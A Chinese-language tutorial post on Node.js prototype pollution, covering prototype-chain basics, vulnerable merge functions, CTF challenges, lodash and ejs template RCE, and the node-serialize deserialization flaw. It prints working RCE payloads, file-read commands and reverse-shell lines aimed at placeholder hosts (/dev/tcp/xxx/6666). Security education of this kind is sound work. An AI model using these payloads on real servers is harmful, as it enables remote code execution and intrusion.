Node.js 原型污染漏洞

原理

前置知识:继承与原型链

javascript没有类,只有对象。每个实例对象(object)都有一个私有属性(称之为 __proto__)指向它的构造函数的原型对象(prototype)。该原型对象也有一个自己的原型对象(__proto__),层层向上直到一个对象的原型对象为 null。根据定义,null 没有原型,并作为这个原型链中的最后一个环节。并不代表null是顶端的对象,位于原型链顶端的是Object.prototype,上面没有了所以是null。Object.prototype对象的原型对象是null。这意味着Object.prototype没有原型,它是原型链的顶端。

几乎所有 JavaScript 中的对象都是位于原型链顶端的Object.prototype的实例。

__proto__和prototype
__proto__

当谈到继承时,JavaScript只有一种结构∶对象。每个实例对象(object)都有一个私有属性(称之为_proto_ )指向它的构造函数的原型对象(prototype)。该原型对象也有一个自己的原型对象(_proto_),层层向上直到一个对象的原型对象为null。根据定义,null没有原型,并作为这个原型链中的最后一个环节。

看一串代码
function Son(){}
var son = new Son();
console.log(Son.prototype)
console.log(son.__proto__)//这两种payload都可以用来访问原型对象
console.log(Son.prototype == son.__proto__)
输出
Son {}
Son {}//输出一样的。
true

这个就是个利用点。

这里注意,函数Son实例化成为对象son之后不能通过prototype访问其原型对象了,因为prototype是函数特有的,那我们可以通过__proto__来访问他的原型对象。

son是对象,Son是函数。portotype是指向函数的原型,__proto__是指向对象的原型。

理解一下区别

__proto__是每个JavaScript对象都有的一个属性,它指向该对象的原型。原型是一个对象,它包含了该对象的方法和属性。当我们访问一个对象的属性或方法时,如果该对象本身没有该属性或方法,JavaScript会沿着该对象的原型链向上查找,直到找到该属性或方法为止。prototype是函数对象特有的属性,它指向该函数的原型。原型是一个对象,它包含了该函数的方法和属性。当我们使用new关键字创建一个对象时,JavaScript会将该对象的__proto__属性指向该函数的prototype属性。简单来说,__proto__是每个对象都有的属性,它指向该对象的原型;而prototype是函数对象特有的属性,它指向该函数的原型。

原型链污染原理:

对于语句:object[a][b] = value 如果可以控制a、b、value的值,将a设置为__proto__,我们就可以给object对象的原型设置一个b属性,值为value。这样所有继承object对象原型的实例对象在本身不拥有b属性的情况下,都会拥有b属性,且值为value。

例如

object1 = {"a":1, "b":2};
object1.__proto__.foo = "Hello World";//我们对object1的原型对象设置了一个foo属性
console.log(object1.foo);//console.log应该是输出函数
object2 = {"c":1, "d":2};//object1和object2两个对象继承同一个原型对象。
console.log(object2.foo);//object2没有foo这个属性,所以沿着原型链往上找,找到原型对象的foo并继承,也获得了foo属性。也就是object1的操作把这条原型链都污染了

输出两个Hello World

object1和object2两个对象继承同一个对象。

再次例如

function Father(){
    this.first_name='Donald'
    this.last_name='Trump'
}
function Son(){
    this.first_name='Melania'
}

// console.log(Son.prototype)
Son.prototype = new Father()//把Son的原型对象设置为Father()
let son = new Son
console.log(`Name:${son.first_name} ${son.last_name}`)
输出
Name:Melania Trump

只有Son中没有对应属性的时候才会去原型对象找。改不了他本人的,改他爹的,然后让他爹传给他。

NameMelania xxhfunction Father(){
    this.first_name='Donald'
    this.last_name='Trump'
}
function Son(){
    this.first_name='Melania'
}

// console.log(Son.prototype)
Son.prototype = new Father()
let son = new Son
son.__proto__['last_name']='xxh'
let newson = new Son
console.log(`Name:${newson.first_name} ${newson.last_name}`)
输出
NameMelania xxh

又被改了一下。

容易造成原型链污染的操作

merge
function merge(target, source) {
for (let key in source) {
if (key in source && key in target) {
merge(target[key], source[key])
} else {
target[key] = source[key]
}
}
}

let o1 = {}
let o2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')//这里的数据要用JSON.parse处理为json格式,不然会将proto识别为键名
merge(o1, o2)
console.log(o1.a, o1.b)
输出12
o3 = {}
console.log(o3.b)
输出2//说明原型对象已经有b属性了

被加入属性的对象是o1和o1的原生类。我们给o1的加了个a属性赋值了1,给o1的原型对象加了个b属性赋值为2,而不是给o1加了个__proto__属性赋值为{"b": 2}。这样原型对象被污染,让o3也有了b属性。

利用方法

js中的危险模块和函数

模块:child_process

函数:eval,spwn,exec,setTimeout,setInteval,Function

payload:

require('child_process').exec('ls');
使用require加载child_process的模块
require('child_process').execSync('ls').toString()

require('child_process').spawnSync('ls').stdout.toString();

require('child_process').spawnSync('cat',['fl00g.txt']).stdout.toString()

不需要引入模块的:
global.process.mainModule.constructor._load('child_process').execSync('ls')
解释:全局对象global的process属性是Node.js进程对象的引用,而其mainModule属性则是指向当前主模块的引用。因此,global.process.mainModule.constructor可以获取到当前主模块的构造函数,再通过其_load方法加载child_process模块并返回其引用。
绕过:

敏感字符:

例如

读取目录,exec被过滤

require('child_process').execSync('ls').toString()
法1:
require('child_process')[exe'%2B'cSync('ls')]toString()

读取函数

?eval=require("fs").readdirSync('.')    查看当前目录(换成/.可查看根目录)
?eval=require("fs").readFileSync('fl001g.txt') --查看指定文件

ctfshow336(js数组对象)

var express = require('express');//加载express模块,创建express应用
var router = express.Router();
var crypto = require('crypto');//加载crypto模块,进行加密

function md5(s) {
  return crypto.createHash('md5')
    .update(s)
    .digest('hex');
}

/* GET home page. */
router.get('/', function(req, res, next) {//收到get请求
  res.type('html');
  var flag='xxxxxxx';
  var a = req.query.a;
  var b = req.query.b;
  if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){//如果请求中包含了两个参数a和b,并且这两个参数的长度相同且不相等,并且将参数a和flag拼接后进行MD5加密的结果与将参数b和flag拼接后进行MD5加密的结果相同,那么该函数将返回字符串flag
    res.end(flag);
  }else{
    res.render('index',{ msg: 'tql'});
  }

});

module.exports = router;

看了wp,payload

?a[x]=1&b[x]=2

这个表示在a对象下面加一个值为1的x属性,在b对象下面加一个值为2的x属性。

Lodash模块原型链污染

Lodash 是一个 JavaScript 库,包含简化字符串、数字、数组、函数和对象编程的工具,可以帮助程序员更有效地编写和维护 JavaScript 代码。有几个严重的漏洞

lodash.merge 方法造成的原型链污染

Lodash.merge 作为 lodash 中的对象合并插件,他可以递归合并 sources 来源对象自身和继承的可枚举属性到 object 目标对象,以创建父映射对象。这决定了它非常适合用于原型链污染。

配合 lodash.template 实现 RCE

Lodash.template 是 Lodash 中的一个简单的模板引擎,创建一个预编译模板方法,可以插入数据到模板中 “interpolate” 分隔符相应的位置

[Code-Breaking 2018]Thejs

// ...
const lodash = require('lodash')//用require的方式来加载lodash库
// ...

app.engine('ejs', function (filePath, options, callback) { 
// define the template engine
    fs.readFile(filePath, (err, content) => {
        if (err) return callback(new Error(err))
        let compiled = lodash.template(content)
        let rendered = compiled({...options})

        return callback(null, rendered)
    })
})
/*定义了一个 app.engine() 方法,该方法用于定义模板引擎的实现方式。在这里,将 ejs 作为模板引擎的名称,并传入一个回调函数作为实现。该回调函数包含三个参数:

filePath:表示要渲染的模板文件的路径;
options:表示传递给模板的数据对象;
callback:表示回调函数,用于在渲染完成后返回渲染结果。
在回调函数中,使用 fs.readFile() 方法读取模板文件的内容。如果读取出错,则直接调用 callback() 方法并返回一个错误。否则,使用 lodash.template() 方法将模板内容编译为一个模板函数,并将传入的数据对象 options 作为参数进行渲染。最后,调用 callback() 方法返回渲染结果。*/
//...

app.all('/', (req, res) => {//定义一个路由处理函数
    let data = req.session.data || {language: [], category: []}//在 GET 请求中,从 req.session.data 中获取存储的数据对象
    if (req.method == 'POST') {
        data = lodash.merge(data, req.body)
        req.session.data = data//在 POST 请求中,将请求体中的数据合并到原有的数据对象中,并将新的数据对象存储在 req.session.data 中。用于更新数据
    }

    res.render('index', {//这里是储存的数据。res.render将渲染结果返回给用户
        language: data.language, 
        category: data.category
    })//数据格式{language: data.language, category: data.category}

})

为什么要污染 sourceURL 呢?我们看到 lodash.template

// Use a sourceURL for easier debugging.
var sourceURL = 'sourceURL' in options ? '//# sourceURL=' + options.sourceURL + '\n' : '';
/*代码解释:
检查 options 对象中是否有 sourceURL 属性来生成一个用于调试的 sourceURL 字符串。如果 options 中有 sourceURL 属性,则生成形如 "//# sourceURL=xxx" 的字符串,其中 xxx 是 options.sourceURL 属性的值。如果 options 中没有 sourceURL 属性,则 sourceURL 字符串为空字符串。
这里我们想污染options的原型对象来给他赋值
注意:这个地方我们通过构造chile_process.exec()就可以执行任意代码了。但是由于Function 环境下没有 require 函数,直接使用require(‘child_process’) 会报错,所以我们要用 global.process.mainModule.constructor._load 来代替。
*/
//...
var result = attempt(function() {
  return Function(importsKeys, sourceURL + 'return ' + source)
  .apply(undefined, importsValues);
});//然后,使用 attempt() 方法尝试执行 Function 构造函数,生成一个新的函数并返回。生成函数的代码为 sourceURL + 'return ' + source,其中 source 是一个字符串,包含了函数的源代码。importsKeys 和 importsValues 是两个数组,分别包含了传递给生成函数的参数的键和值。在生成函数时,使用 Function 构造函数将参数列表和源代码拼接在一起,并执行生成的函数,最终返回生成函数的返回值。sourceURL被拼接进去造成任意代码执行漏洞。

给出两种payload

{"__proto__" : {"sourceURL" : "\r\nreturn e = () => {for (var a in {}){delete Object.prototype[a];}return global.require('child_process').execSync('whoami').to
{"__proto__":{"sourceURL":"\u000areturn e =>{return global.process.mainModule.constructor._load('child_process').execSync('id')}"}}
配合 ejs 模板引擎实现 RCE

常用:

{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require(\'child_process\').execSync('calc');var __tmp2"}} 

{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require(\'child_process\').exec('calc');var __tmp2"}} 

{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx/6666 0>&1\"');var __tmp2"}}

其他漏洞

Node.js CVE-2017-14849

Express是个web框架,由js编写

漏洞影响

Node.js 8.5.0 + Express 3.19.0-3.21.2
Node.js 8.5.0 + Express 4.11.0-4.15.5

Express依赖Send组件,Send组件0.11.0-0.15.6版本pipe()函数中

Send模块通过normalize('.' + sep + path)标准化路径)path后,并没有赋值给path,而是仅仅判断了下是否存在目录跳转字符。如果我们能绕过目录跳转字符的判断,就能把目录跳转字符带入545行的join(root, path)函数中,跳转到我们想要跳转到的目录中

标准化路径:将路径符号转化为当前操作系统规定的

目录跳转字符:

..跳转到上一目录

.当前目录

再来看Node.js,Node.js 8.5.0对path.js文件中的normalizeStringPosix函数进行了修改,使其能够对路径做到如下的标准化:

assert.strictEqual(path.posix.normalize('bar/foo../..'), 'bar');

这里path.posix.normalize把bar/foo../..标准化为bar

新的修改带来了问题,通过单步调试我们发现,可以通过foo../../和目录跳转字符一起注入到路径中,foo../../可以把变量isAboveRoot设置为false(代码161行),并且在代码135行把自己删掉;变量isAboveRootfalse的情况下,可以在foo../../两边设置同样数量的跳转字符,让他们同样在代码135行把自己删除,这样就可以构造出一个带有跳转字符,但是通过normalizeStringPosix函数标准化后又会全部自动移除的payload,这个payload配合上面提到的Send模块bug就能够成功的返回一个我们想要的物理路径,最后在Send模块中读取并返回文件。

Node.js CVE-2017-5941

原理

源于Node.js使用的一个叫做"serialize-javascript"的npm包中的缺陷。

该漏洞的原理是,攻击者可以通过构造特定的JavaScript对象,在其中注入恶意代码,并将该对象序列化成JSON字符串,然后将JSON字符串发送到服务器。当服务器解析该JSON字符串并反序列化该对象时,恶意代码会被执行,从而导致攻击者可以远程执行任意代码。

前置知识

IIFE(立即调用函数表达式)

这是一个在定义时就会立即执行的js函数

(function () {
    statements
})();

这是一个被称为 自执行匿名函数 的设计模式,主要包含两部分。

第一部分是包围在 圆括号运算符 () 里的一个匿名函数,这个匿名函数拥有独立的词法作用域。这不仅避免了外界访问此 IIFE 中的变量,而且又不会污染全局作用域。

第二部分再一次使用 () 创建了一个立即执行函数表达式,JavaScript 引擎到此将直接执行函数。

形式:

(function(){ /* code */ }());
(function(){ /* code */ })();
实例

构造Payload

serialize = require('node-serialize');
var test = {
 rce : function(){require('child_process').exec('ls /',function(error, stdout, stderr){console.log(stdout)});},
}
console.log("序列化生成的 Payload: \n" + serialize.serialize(test));

生成的Payload为:

{"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('ls /',function(error, stdout, stderr){console.log(stdout)});}"}

_$$ND_FUNC$$_function (){...}()是通过特殊命名方式($$ND_FUNC$$)创建的一个JavaScript函数对象,并使用其中的"require"和"exec"函数来执行同样的恶意代码。这种方式的好处是可以通过特殊命名方式避免一些JavaScript命名约束,例如不能以数字开头的变量名等,从而增加了成功利用漏洞的几率。

因为需要在反序列化时让其立即调用我们构造的函数,所以我们需要在生成的序列化语句的函数后面再添加一个()

{"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('ls /',function(error, stdout, stderr){console.log(stdout)});}()"}

function(error, stdout, stderr){console.log(stdout)}这里利用回调函数显示结果,如果反弹shell就不需要了

_$$ND_FUNC$$_function (){require('child_process').exec('bash -c "bash -i >& /dev/tcp/[IP]/[PORT] 0>&1"')}()

参考:

从 Lodash 原型链污染到模板 RCE-安全客 - 安全资讯平台 (anquanke.com)

NodeJs从零到原型链污染 - M1kael‘s Blog

[CVE-2019-10758:mongo-expressRCE复现分析 - 先知社区 (aliyun.com)](

点击收藏 | 0 关注 | 1 打赏
  • 动动手指,沙发就是你的了!
登录 后跟帖